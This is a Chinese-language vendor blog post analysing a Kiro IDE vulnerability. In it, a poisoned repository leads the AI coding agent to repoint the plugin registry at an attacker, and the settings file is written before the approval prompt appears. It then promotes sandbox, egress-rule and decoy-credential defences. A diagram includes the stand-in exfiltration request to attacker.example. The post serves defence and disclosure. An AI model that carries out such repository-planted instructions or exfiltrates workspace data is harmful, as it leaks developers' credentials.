返回所有文章
发布于 · 作者 Renaud Deraison

文件早就写在磁盘上了

9 月 11 日 AWS 公布了 CVE-2026-89332:一个被做过手脚的仓库会让 Kiro 的代理改写工作区设置文件,把 Powers 注册表指向攻击者的端点。Kiro 确实把这次改动提交审批,连同插入的数据和网址一并显示。但写入已经完成,所以在回答之前先打开 Powers 面板,工作区数据照样送了出去。AWS 说,凡是用旧版本打开过的项目,凭据都要轮换。在 Bromure Agentic Coding 的工作区里,工具注册表不是来宾写得到的文件,那个请求出去时会撞上出口规则,而它会带走的凭据是诱饵。

审批对话框弹了出来,点名了攻击者的网址,也显示了正要送过去的数据。它抵达的时候, 它所询问的那次写入,早已落在磁盘上。

你把别人发来的仓库克隆下来,让代理对着它工作。一张卡片滑了进来:代理想改一项设置, 这是它插入的那一行,这是网址。你打算读它。但你先切到插件面板,好奇这个项目会拉进 什么东西,而那一下点击,就把这场攻击做完了。

9 月 11 日,AWS 为其代理式 IDE Kiro 中的 CVE-2026-89332 发布了 安全公告 2026-111-AWSCVE 条目用目录那种平板的语言描述它:

在 0.8.135 版之前的 Amazon Kiro IDE,其 Kiro Powers 功能纳入了来自不受信任 控制域的功能,可能使未经身份验证的远程行为者,从开发者工作站获取敏感信息。

该条目按 CVSS 3.1 评为 5.5,AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N:机密性影响高, 完整性与可用性则无影响。Kiro 0.8.135 修好了它,AWS 未给出任何临时缓解办法。

Powers,以及那份说明它们从哪来的文件

Powers 是 Kiro 的插件格式:把 MCP 工具、技能和参考知识打包成一个可安装的组件。 MCP 是 Model Context Protocol,让编码代理能调用外部工具并读取其结果的那个插头。 你在 IDE 里的注册表中浏览 Powers 并点击安装,就像你浏览扩展那样。

有一项设置指明了 IDE 要浏览的注册表,而在不受信任的工作区里,Kiro 的代理写得到 工作区的设置文件。被做过手脚的仓库便利用这一点,把 Powers 注册表的网址指向攻击者 运营的端点。你一打开 Powers 面板,Kiro 就去取那个网址,而这个请求会带着工作区数据 上路:在一个真正的项目里,那就是摆在代码旁边的任何东西,比如 .env 的内容、云端 访问密钥、API 令牌和数据库网址。

Kiro 来过这里。7 月时, 一个被投毒的文档页面改写了启动 Kiro MCP 服务器的配置, 当时连审批提示都没有。AWS 补上了提示,而 9 月的公告记下了这个提示的表现。

先写,后问

公告对这段顺序的叙述,才是值得记住的部分:

Kiro 把改动提交给用户审批,显示了插入的数据和网址,但文件已经写到磁盘上了, 因此在响应提示之前打开 Powers 面板,仍然会发出那个请求。

对话框尽到了对话框的本分。它同时显示了插入的数据目的地网址,那是审阅者判断 这次改动所需要的全部。问题还开着的时候,文件已经躺在磁盘上,所以那个问题是在叙述 一桩事件,而不是在管住它。写入与你的回答之间有一扇窗,而在窗内,是那项设置决定 Kiro 去取什么。在那扇窗里点一下面板,就是攻击的全部。

一台机器,几秒钟的一扇窗仓库为操纵代理而写的内容,以不受信任的工作区打开那次写入工作区设置文件,powers registry → 攻击者已在磁盘上,生效中审批卡片显示插入的数据和目的地网址然后等你你的答复允许或拒绝卡片等待的时候,设置已经生效你点开 Powers 面板 · Kiro 去取配置好的注册表网址GET https://attacker.example/registry ← 工作区数据一同上路你之后给的答复,已经没有什么可以拦下来
把 CVE-2026-89332 画成从左到右的时间线,全部发生在开发者这一台机器上。被做过手脚的仓库让代理写下工作区设置文件,把 Kiro Powers 注册表的网址改指到攻击者的端点。设置文件落到磁盘上,之后审批卡片才出现,如实显示插入的那一行和网址。卡片等着答复的时候,设置已经生效:打开 Powers 面板就会让 Kiro 去取配置好的注册表,工作区数据随着请求离开。开发者之后点什么都一样,已经没有什么可以拦下来了。

一个你可能跑输的提示

审批提示要能管住某个结果,前提是那个结果在等你的答复。先把效果做掉,提示就变成 一条附了按钮的通知,而它保护你多少,取决于你读得多快、以及你边读边点了什么。Kiro 先写后问,而正是这个顺序让代理式 IDE 感觉利落。任何把文件写入工具交到代理手上、 再在上头拧一层同意机制的产品,都面对同一笔交易,而厂商还会继续这样选。

版本更新关掉了这一个案例。留下来的,是那项设置住在哪里,以及它一旦改变之后能碰 到什么。

那次写入在 Bromure 工作区里会落到哪

Bromure Agentic Coding 让编码代理在你 Mac 上一台硬件虚拟化的 Linux 虚拟机里运行, 安全控制放在那道边界的宿主机一侧。攻击抵达工作区之后还剩四步,而产品有不同的部分 各自回应其中一步。

工具注册表不是来宾写得到的文件。 在 Bromure 里,你只定义一次 MCP 服务器,在 应用程序的 MCP 面板,在宿主机上。应用程序会把每一条定义转成当下运行的那个代理的 原生配置格式:Claude Code 是 ~/.claude.json,Codex 是 ~/.codex/config.toml 里的一段 TOML,Grok Build 是用户设置文件,然后在开机时注入虚拟机。手册把后果说得 明白:新增、编辑或移除一台服务器,要到工作区的会话下次启动才生效,而不是在运行中 的会话里实时生效。在虚拟机里改写工具配置的代理,改到的是一份副本,在一台不属于你 的机器上,而那份副本要变成活的工具,得等到某次改读宿主机定义的会话启动才行。窗 根本没有打开,因为改动与效果坐在不同的地方。至于 HTTP 的 MCP 服务器,令牌同样留在 宿主机一侧,放在一个标注着 never sent to VM, swapped by proxy 的凭据字段里。

那次写入落在一台虚拟机里。 每个工作区都拥有自己的持久 Linux 虚拟机,有自己的 内核、磁盘、MAC 地址和网络命名空间。失控的代理进程能砸烂的只有那一台虚拟机;你的 Mac、你其他的工作区、你真正的文件都毫发无伤,除了你刻意共享出去的那些文件夹。被 做过手脚的仓库能改到的,是一台本来就是要被改、必要时还可以被抹掉的机器上的设置 文件。

那个请求得出得去。 昨天 Vite 扫描的那篇没有向外的那一段 可以拦。这一篇有:外泄就是一个发往攻击者所选主机的普通请求,而每个工作区一套的 出口防火墙正是为此而设。Guardrails 会对虚拟机开出的每一条连接,套上一份有先后 顺序、pf 风格的规则集,按主机、IP 或 CIDR、协议、端口,网页流量甚至细到单个的 HTTP 动词,于是一个工作区可以读一个它无权写入的 API。Bromure 在虚拟交换机上强制 执行一次,在代理服务器上再强制执行一次,来宾的 80 与 443 端口流量会被导进代理 服务器,所以虚拟机里没有东西能脱出检查。规则的修改会立刻送达运行中的会话。一个 规则里写着你的注册表、你的代码托管、你的模型供应商的工作区,不会有任何一行写着 attacker.example

那个请求带走的会是诱饵。 公告的说法是“从开发者工作站获取敏感信息”,而在 Bromure 的工作区里,那份信息是诱饵。Bromure 会把你配置的每一份凭据,在虚拟机内换成 一份保留结构的假货,由真值加上每次安装专属的 32 字节盐,经 HKDF-SHA256 导出,保住 客户端校验器期待的形状:Anthropic 是 sk-ant-api03-brm-…,GitHub 是 ghp_ 加 36 个字符,GitLab 是 glpat- 加 20 个,Kubernetes 是 brm-k8s-…,数据库密钥是 brm-db-…。这些假货会进到环境变量,也进到 ~/.git-credentials~/.docker/config.json~/.kube/config~/.aws/config 以及 MCP 的配置里。 真值加密留在 Mac 上,由宿主机的代理服务器在最后一刻换到线路上,并且只限于它所属的 那个目的地主机。

一台开发者工作站一个文件系统、一个网络、真的密钥写入落在你的磁盘上你还没回答,设置就已生效卡片与那一下点击赛跑谁先发生,谁就决定结果GET attacker.example/registry工作区数据,走一个寻常的对外端口事后更新,然后轮换你打开过的任何项目里出现过的每一份凭据在一个工作区里来宾磁盘、宿主机侧的注册表、诱饵写入落在虚拟机的磁盘上工具定义住在宿主机,开机时才注入请求撞上出口规则在虚拟交换机,代理服务器再一次出了范围的诱饵就是绊索451 · 零字节转发 · 虚拟机暂停事后抹掉磁盘与家目录,什么都不用轮换
同一个被做过手脚的仓库,在两台机器上打开。在开发者工作站上,写入落在真正的文件系统,审批卡片与 Powers 面板赛跑,请求带着项目里有的东西前往攻击者的端点,而补救办法是把碰得到的凭据全部轮换。在 Bromure Agentic Coding 的工作区里,写入落在一块虚拟机磁盘上,而宿主机保有权威的工具定义并且只在开机时注入,向外的请求在虚拟交换机与代理服务器上两次撞上工作区的出口规则,真的出得去的东西带的是保留结构的诱饵,而一份寄往非其铸造对象主机的诱饵会以 HTTP 451 被拒,同时虚拟机当场暂停。

在请求本身就触发的绊索

诱饵还做第二份工作。每一份假货都只有一个正当的目的地家族,也就是它被铸造出来时 所属的那个主机范围,所以一份假货出现在寄往其他任何地方的请求里,就代表虚拟机里有 东西正在把凭据运出这台机器。代理服务器会用 Aho-Corasick 自动机扫描每一个向外的 请求,头部与正文都扫,成本低到足以全部都扫。

一旦命中,代理服务器就以 HTTP 451 拒绝该请求,一个字节都不转发,然后把虚拟机暂停。 警报会提供 Shut down、会先把磁盘、家目录与共享文件夹导出以供取证的 Save for Investigation,以及后果自负的 Continue。这次检测会在 Security Timeline 留下一行红色的 Credential brokering,Bromure 并把该工作区标记为已 失陷,于是你下次启动时会先问你要不要抹掉虚拟机磁盘与持久家目录,同时保留你的令牌、 密钥与设置。你什么都不必打开。这个检测器默认就在跑。

Kiro 的审批卡片,问的是一份早已改掉的文件。失陷检测器什么都不问:它在飞行途中拦 下请求,冻住发出请求的那台机器,事后才告诉你。Bromure 自己的同意提示也是这个方向。 在 Ask 模式下,提示注入扫描器会在任何一个字节抵达模型主机之前,先扣住向外的请求; Guardrails 的写入对话框扣住的是 API 调用,而不是事后上报;而当你远程操作一个工作区 时,那些提示是在宿主机上绘制的,失陷的来宾既看不到也伪造不了,而超时或关掉都算作 拒绝。

什么都不用轮换

AWS 的补救分两步。更新到 0.8.135,然后轮换你用旧版本打开过的任何项目里出现过的 凭据。第二步比第一步贵,而且贵得很特别:你圈不出范围。你不知道哪些仓库被做过手脚, 也不知道哪几下面板点击落在哪一扇窗里,所以你只能把碰得到的全部轮换一遍,再把依赖 这些凭据的工具链重新登录一次。

Bromure Agentic Coding 的文档把同一个想法反过来说:因为外泄的只有假货,真正的凭据 从来不需要轮换。把权威的工具注册表留在宿主机,让不受信任的仓库跑在一台你扔得掉的 机器上,并且把那台机器的家目录填满诱饵。这样一来,一场你跑输的比赛,代价就只是 一份虚拟机映像。

安装 Bromure Agentic Coding,然后让下一个仓库去试着改写一项 设置吧。